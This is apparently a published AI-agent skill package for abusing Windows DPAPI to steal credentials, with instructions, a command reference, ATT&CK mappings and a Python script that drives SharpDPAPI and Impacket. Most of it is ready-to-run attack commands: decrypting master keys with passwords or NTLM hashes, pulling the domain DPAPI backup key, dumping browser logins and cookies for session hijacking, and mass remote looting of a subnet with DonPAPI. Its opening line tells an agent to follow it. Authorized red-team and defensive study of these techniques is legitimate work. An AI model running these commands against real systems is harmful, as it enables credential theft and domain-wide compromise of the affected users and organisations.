Published Agent Skill package. Follow the instructions in SKILL.md to complete the user's task.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.

This page contains 5 files from the original skill zip. Supporting markdown and scripts are included below so you do not need extra downloads.

Files in this package

SKILL.md

Abusing DPAPI for Credential Access

Legal Notice: This skill is for authorized penetration testing, red-team engagements, and educational purposes only. Extracting credentials from systems you do not own or lack explicit written authorization to test is illegal and may violate computer fraud and abuse laws. Always operate within a signed rules-of-engagement and document every action.

Overview

The Windows Data Protection API (DPAPI) is the operating system's built-in symmetric-encryption service that applications use to protect secrets at rest: saved RDP and Windows Credential Manager credentials, web and Wi-Fi credentials in the Credential Vault, browser saved logins and cookies (Chrome/Edge), KeePass keys, certificate private keys, and Scheduled Task passwords. DPAPI derives a per-user (or per-machine) master key from the user's password (or the machine account secret), and that master key encrypts individual "DPAPI blobs." The encrypted master keys live under %APPDATA%\Microsoft\Protect\<SID>\ (user) and %WINDIR%\System32\Microsoft\Protect\ (machine).

Red teamers abuse DPAPI to recover plaintext secrets after gaining a foothold, mapping to MITRE ATT&CK T1555.004 (Credentials from Password Stores: Windows Credential Manager). There are three primary decryption paths:

  1. Online / context-based — running as the target user, DPAPI APIs (CryptUnprotectData) transparently decrypt the user's blobs. SharpDPAPI's /unprotect flag uses this.
  2. Offline with the user password or NTLM hash — decrypt the user's master keys with /password: or /ntlm:, then decrypt the blobs offline (great for triaged files pulled from a host).
  3. Domain-wide with the DPAPI backup key — Domain Admins can extract the domain's RSA DPAPI backup key (.pvk) once, then decrypt any domain user's master keys forever, online or offline, with /pvk:.

The canonical tooling is SharpDPAPI (GhostPack, a C# port of Mimikatz DPAPI functionality) for Windows, SharpChrome for browser secrets, and Mimikatz (dpapi::*) as the original implementation. On Linux, Impacket's dpapi.py and donpapi perform remote/offline triage.

When to Use

Prerequisites

# SharpDPAPI / SharpChrome (GhostPack) — build with Visual Studio / msbuild
git clone https://github.com/GhostPack/SharpDPAPI.git
# Open SharpDPAPI.sln and build Release, or:
msbuild SharpDPAPI.sln /p:Configuration=Release

# Mimikatz (original DPAPI implementation)
# https://github.com/gentilkiwi/mimikatz/releases

# Linux remote/offline triage (Impacket)
pipx install impacket            # provides dpapi.py / impacket-dpapi
pipx install donpapi             # https://github.com/login-securite/DonPAPI

Objectives

MITRE ATT&CK Mapping

Technique ID Name Tactic Relevance
T1555.004 Credentials from Password Stores: Windows Credential Manager Credential Access DPAPI protects Credential Manager / Vault entries; decrypting master keys and blobs recovers these stored credentials.
T1555.003 Credentials from Password Stores: Credentials from Web Browsers Credential Access SharpChrome decrypts DPAPI-protected Chrome/Edge logins, cookies, and state keys.
T1003 OS Credential Dumping Credential Access Extracting master keys / backup keys is a form of credential material dumping.

Workflow

1. Triage the host for DPAPI blobs

Run the SharpDPAPI triage command in the user's context to automatically enumerate and (where possible) decrypt credentials, vaults, RDG/RDP, and certificates:

# Online triage in the current user's context (uses CryptUnprotectData)
SharpDPAPI.exe triage /unprotect

# Machine triage (requires local admin / SYSTEM) for machine-scoped blobs
SharpDPAPI.exe machinetriage

2. Decrypt user master keys offline (password or NTLM hash)

If you hold the user's password or hash, decrypt their master keys to a {GUID}:SHA1 mapping you can reuse against individual blobs:

# Decrypt all of the current/specified user's master keys with the password
SharpDPAPI.exe masterkeys /password:CorrectHorseBatteryStaple

# Decrypt master keys with the user's NTLM hash instead of the password
SharpDPAPI.exe masterkeys /ntlm:cc36cf7a8514893efccd332446158b1a

# Output is GUID:SHA1 lines — feed them to credentials/vaults commands

3. Recover Credential Manager and Vault secrets

Use the decrypted master-key mapping (or /pvk:) to decrypt the stored credentials and vault entries:

# Decrypt Credential Manager blobs with a GUID:SHA1 mapping
SharpDPAPI.exe credentials {GUID1}:SHA1 {GUID2}:SHA1

# Or point at a target Credentials folder and decrypt with the domain backup key
SharpDPAPI.exe credentials /target:C:\Users\bob\AppData\Local\Microsoft\Credentials\ /pvk:backupkey.pvk

# Decrypt Credential Vault entries
SharpDPAPI.exe vaults /pvk:backupkey.pvk

4. Decrypt RDP, KeePass, and certificate secrets

# Saved RDCMan.settings RDP passwords (current user context)
SharpDPAPI.exe rdg /unprotect

# KeePass DPAPI-protected master keys
SharpDPAPI.exe keepass /unprotect

# Certificate private keys (export usable .pem with /showall for all stores)
SharpDPAPI.exe certificates /unprotect /showall

5. Extract browser credentials with SharpChrome

SharpChrome decrypts Chrome/Edge logins and cookies. Modern Chromium uses an App-Bound "state key" that SharpChrome resolves via DPAPI:

# Decrypt saved logins for the current user
SharpChrome.exe logins /unprotect

# Decrypt cookies (useful for session hijacking) in a target folder
SharpChrome.exe cookies /target:"C:\Users\bob\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies" /pvk:backupkey.pvk

# Resolve the AES state key explicitly
SharpChrome.exe statekeys /unprotect

6. Obtain the domain DPAPI backup key (Domain Admin)

With Domain Admin, retrieve the domain's RSA DPAPI backup private key once. This key decrypts every domain user's master keys indefinitely:

# Pull and save the domain backup key as a .pvk via the MS-BKRP RPC interface
SharpDPAPI.exe backupkey /server:dc01.corp.local /file:backupkey.pvk

Then decrypt any user's master keys offline with it:

SharpDPAPI.exe masterkeys /pvk:backupkey.pvk /target:C:\Users\alice\AppData\Roaming\Microsoft\Protect\

7. Remote / Linux-based triage (Impacket / DonPAPI)

From a Linux operator box, harvest and decrypt DPAPI secrets across hosts:

# Decrypt a single masterkey file with Impacket using the domain backup key
impacket-dpapi masterkey -file <masterkey_file> -pvk backupkey.pvk

# Decrypt a credential blob with the recovered masterkey
impacket-dpapi credential -file <cred_blob> -key 0x<decrypted_masterkey>

# Mass remote DPAPI looting across hosts with DonPAPI
donpapi collect -u alice -p 'Password123!' -d corp.local --target 10.0.0.0/24

Tools and Resources

Tool Purpose Link
SharpDPAPI Windows DPAPI triage/decryption (C#) https://github.com/GhostPack/SharpDPAPI
SharpChrome Chromium logins/cookies/state-key decryption https://github.com/GhostPack/SharpDPAPI
Mimikatz Original DPAPI (dpapi::*) implementation https://github.com/gentilkiwi/mimikatz
Impacket dpapi.py Remote/offline DPAPI decryption (Python) https://github.com/fortra/impacket
DonPAPI Mass remote DPAPI looting https://github.com/login-securite/DonPAPI
HackTricks DPAPI Technique reference https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.html

Detection and OPSEC Notes

Validation Criteria

Supporting file: LICENSE

This file is part of the abusing-dpapi-for-credential-access skill package. Use it when SKILL.md references LICENSE.


                                 Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to the Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by the Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding any notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. Please do not remove or change
      the license header comment from a contributed file except when
      necessary.

   Copyright 2026 mukul975

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

Supporting file: references/api-reference.md

This file is part of the abusing-dpapi-for-credential-access skill package. Use it when SKILL.md references references/api-reference.md.

SharpDPAPI / DPAPI — Command Reference

SharpDPAPI User Commands

Command Purpose Example
triage Auto-run credentials, vaults, rdg, certificates SharpDPAPI.exe triage /unprotect
masterkeys Decrypt user master keys (GUID:SHA1 output) SharpDPAPI.exe masterkeys /password:Pass
credentials Decrypt Credential Manager blobs SharpDPAPI.exe credentials /pvk:key.pvk
vaults Decrypt Credential Vault entries SharpDPAPI.exe vaults /pvk:key.pvk
rdg Decrypt RDCMan.settings RDP passwords SharpDPAPI.exe rdg /unprotect
keepass Decrypt KeePass DPAPI keys SharpDPAPI.exe keepass /unprotect
certificates Decrypt certificate private keys SharpDPAPI.exe certificates /unprotect /showall

SharpDPAPI Machine Commands (require admin/SYSTEM)

Command Purpose
machinemasterkeys Decrypt machine master keys (uses DPAPI_SYSTEM LSA secret)
machinecredentials Decrypt machine credential blobs
machinevaults Decrypt machine vault entries
machinetriage Run all machine-scoped triage commands

SharpDPAPI Supporting Commands

Command Purpose Example
backupkey Retrieve domain DPAPI backup key (.pvk) via MS-BKRP SharpDPAPI.exe backupkey /server:dc01 /file:key.pvk

Common Flags

Flag Meaning
/unprotect Use live CryptUnprotectData in current user context (online)
/password:<pw> Decrypt master keys with the user's plaintext password
/ntlm:<hash> Decrypt master keys with the user's NTLM hash
/pvk:<file> Use domain backup private key for decryption
/mkfile:<file> Provide a specific master key file
/server:<dc> Target DC for backupkey retrieval
/target:<path> Target file/folder to decrypt
/rpc Use RPC to request master key decryption from a DC
/showall Show all certificate stores / verbose output

SharpChrome Commands

Command Purpose Example
logins Decrypt saved browser logins SharpChrome.exe logins /unprotect
cookies Decrypt browser cookies SharpChrome.exe cookies /pvk:key.pvk
statekeys Decrypt the AES app-bound state key SharpChrome.exe statekeys /unprotect

Impacket dpapi.py (Linux)

Subcommand Purpose Example
masterkey Decrypt a master key file impacket-dpapi masterkey -file MK -pvk key.pvk
credential Decrypt a credential blob impacket-dpapi credential -file CRED -key 0x<mk>
vault Decrypt vault policy/creds impacket-dpapi vault -vpol VPOL -vcrd VCRD -key 0x<mk>
backupkeys Retrieve domain backup keys impacket-dpapi backupkeys -t corp.local/admin@dc -pvk out.pvk

Key File Locations

Path Contents
%APPDATA%\Microsoft\Protect\<SID>\ User master keys
%WINDIR%\System32\Microsoft\Protect\ Machine master keys
%LOCALAPPDATA%\Microsoft\Credentials\ Credential Manager blobs
%APPDATA%\Microsoft\Vault\ / %LOCALAPPDATA%\Microsoft\Vault\ Credential Vault

External References

Supporting file: references/standards.md

This file is part of the abusing-dpapi-for-credential-access skill package. Use it when SKILL.md references references/standards.md.

Standards and References — Abusing DPAPI for Credential Access

NIST CSF 2.0

ID Name Rationale
DE.CM-01 Networks and network services are monitored to find potentially adverse events DPAPI abuse generates detectable signals (MS-BKRP backup-key RPC to the DC, Protect/Credentials folder access, LSASS access) that monitoring must surface.

MITRE ATT&CK

Technique ID Name Tactic Rationale
T1555.004 Credentials from Password Stores: Windows Credential Manager Credential Access DPAPI protects Credential Manager/Vault entries; decrypting them recovers stored credentials.
T1555.003 Credentials from Password Stores: Credentials from Web Browsers Credential Access SharpChrome decrypts DPAPI-protected browser logins/cookies.
T1003 OS Credential Dumping Credential Access Extracting master keys and the domain backup key dumps credential material.

Supporting Frameworks and Standards

Official Resources

Supporting file: scripts/agent.py

This file is part of the abusing-dpapi-for-credential-access skill package. Use it when SKILL.md references scripts/agent.py.

#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual written consent is illegal.
# It is the end user's responsibility to obey all applicable laws.
"""DPAPI triage orchestrator.

Locates DPAPI artifacts (master keys, Credential Manager blobs, Vault entries)
on a mounted/exfiltrated user profile and drives SharpDPAPI (on Windows) or
Impacket's dpapi.py (cross-platform) to decrypt them with a supplied password,
NTLM hash, or domain backup key (.pvk).

This is an operator helper: it builds and runs the real tool commands and
parses their output; it does not reimplement DPAPI cryptography.
"""

import argparse
import os
import shutil
import subprocess
import sys
from datetime import datetime, timezone

# Standard relative locations inside a Windows user profile.
PROTECT_REL = os.path.join("AppData", "Roaming", "Microsoft", "Protect")
CRED_REL = os.path.join("AppData", "Local", "Microsoft", "Credentials")
VAULT_LOCAL_REL = os.path.join("AppData", "Local", "Microsoft", "Vault")
VAULT_ROAM_REL = os.path.join("AppData", "Roaming", "Microsoft", "Vault")


def find_tool(candidates):
    """Return the first available tool path from candidates, else None."""
    for name in candidates:
        path = shutil.which(name)
        if path:
            return path
    return None


def enumerate_artifacts(profile):
    """Walk a user profile and collect DPAPI artifact file paths."""
    found = {"masterkeys": [], "credentials": [], "vaults": []}
    mapping = {
        "masterkeys": os.path.join(profile, PROTECT_REL),
        "credentials": os.path.join(profile, CRED_REL),
        "vaults": os.path.join(profile, VAULT_LOCAL_REL),
    }
    for key, base in mapping.items():
        if not os.path.isdir(base):
            continue
        for root, _dirs, files in os.walk(base):
            for fname in files:
                # Master keys are GUID-named; skip preferred/BK marker files noise.
                found[key].append(os.path.join(root, fname))
    # Also include roaming vault if present.
    vroam = os.path.join(profile, VAULT_ROAM_REL)
    if os.path.isdir(vroam):
        for root, _dirs, files in os.walk(vroam):
            for fname in files:
                found["vaults"].append(os.path.join(root, fname))
    return found


def run_cmd(cmd, timeout):
    """Run an external command and return (rc, stdout, stderr)."""
    try:
        proc = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
        return proc.returncode, proc.stdout, proc.stderr
    except FileNotFoundError:
        return 127, "", f"tool not found: {cmd[0]}"
    except subprocess.TimeoutExpired:
        return 124, "", f"timeout after {timeout}s"


def decrypt_masterkey_impacket(tool, mk_file, pvk, timeout):
    """Decrypt one master key file via impacket-dpapi using a backup .pvk."""
    cmd = [tool, "masterkey", "-file", mk_file, "-pvk", pvk]
    rc, out, err = run_cmd(cmd, timeout)
    return {"file": mk_file, "rc": rc, "output": (out or err).strip()[:2000]}


def sharpdpapi_triage(tool, profile, pvk, password, ntlm, timeout):
    """Build and run a SharpDPAPI triage command appropriate to the inputs."""
    cmd = [tool, "triage"]
    if pvk:
        cmd += [f"/pvk:{pvk}"]
    elif password:
        cmd += [f"/password:{password}"]
    elif ntlm:
        cmd += [f"/ntlm:{ntlm}"]
    else:
        cmd += ["/unprotect"]
    rc, out, err = run_cmd(cmd, timeout)
    return {"rc": rc, "output": (out or err).strip()}


def main():
    parser = argparse.ArgumentParser(description="Authorized DPAPI triage helper")
    parser.add_argument("--profile", help="Path to a (mounted) Windows user profile")
    parser.add_argument("--pvk", help="Domain DPAPI backup key (.pvk)")
    parser.add_argument("--password", help="User plaintext password")
    parser.add_argument("--ntlm", help="User NTLM hash")
    parser.add_argument("--mode", choices=["enumerate", "impacket", "sharpdpapi"],
                        default="enumerate",
                        help="enumerate artifacts, or drive a decryption tool")
    parser.add_argument("--timeout", type=int, default=120, help="Per-command timeout")
    args = parser.parse_args()

    ts = datetime.now(timezone.utc).isoformat()
    print(f"[*] DPAPI triage helper — {ts}")
    print("[!] Authorized use only. Confirm rules-of-engagement before proceeding.\n")

    if args.mode in ("enumerate", "impacket"):
        if not args.profile or not os.path.isdir(args.profile):
            print("[!] --profile must point to an existing user profile directory",
                  file=sys.stderr)
            sys.exit(2)
        artifacts = enumerate_artifacts(args.profile)
        for kind, items in artifacts.items():
            print(f"--- {kind.upper()} ({len(items)}) ---")
            for p in items:
                print(f"  {p}")
        if args.mode == "impacket":
            if not args.pvk:
                print("\n[!] --pvk required for impacket master key decryption",
                      file=sys.stderr)
                sys.exit(2)
            tool = find_tool(["impacket-dpapi", "dpapi.py"])
            if not tool:
                print("[!] impacket-dpapi not found. Install: pipx install impacket",
                      file=sys.stderr)
                sys.exit(2)
            print("\n=== Decrypting master keys with backup key ===")
            for mk in artifacts["masterkeys"]:
                res = decrypt_masterkey_impacket(tool, mk, args.pvk, args.timeout)
                print(f"  [{res['rc']}] {res['file']}")
                if res["output"]:
                    print(f"      {res['output'][:300]}")
        return

    # sharpdpapi mode (Windows operator host)
    tool = find_tool(["SharpDPAPI.exe", "SharpDPAPI"])
    if not tool:
        print("[!] SharpDPAPI not found on PATH. Build from "
              "https://github.com/GhostPack/SharpDPAPI", file=sys.stderr)
        sys.exit(2)
    result = sharpdpapi_triage(tool, args.profile, args.pvk, args.password,
                               args.ntlm, args.timeout)
    print("=== SharpDPAPI triage ===")
    print(result["output"])
    sys.exit(0 if result["rc"] == 0 else 1)


if __name__ == "__main__":
    main()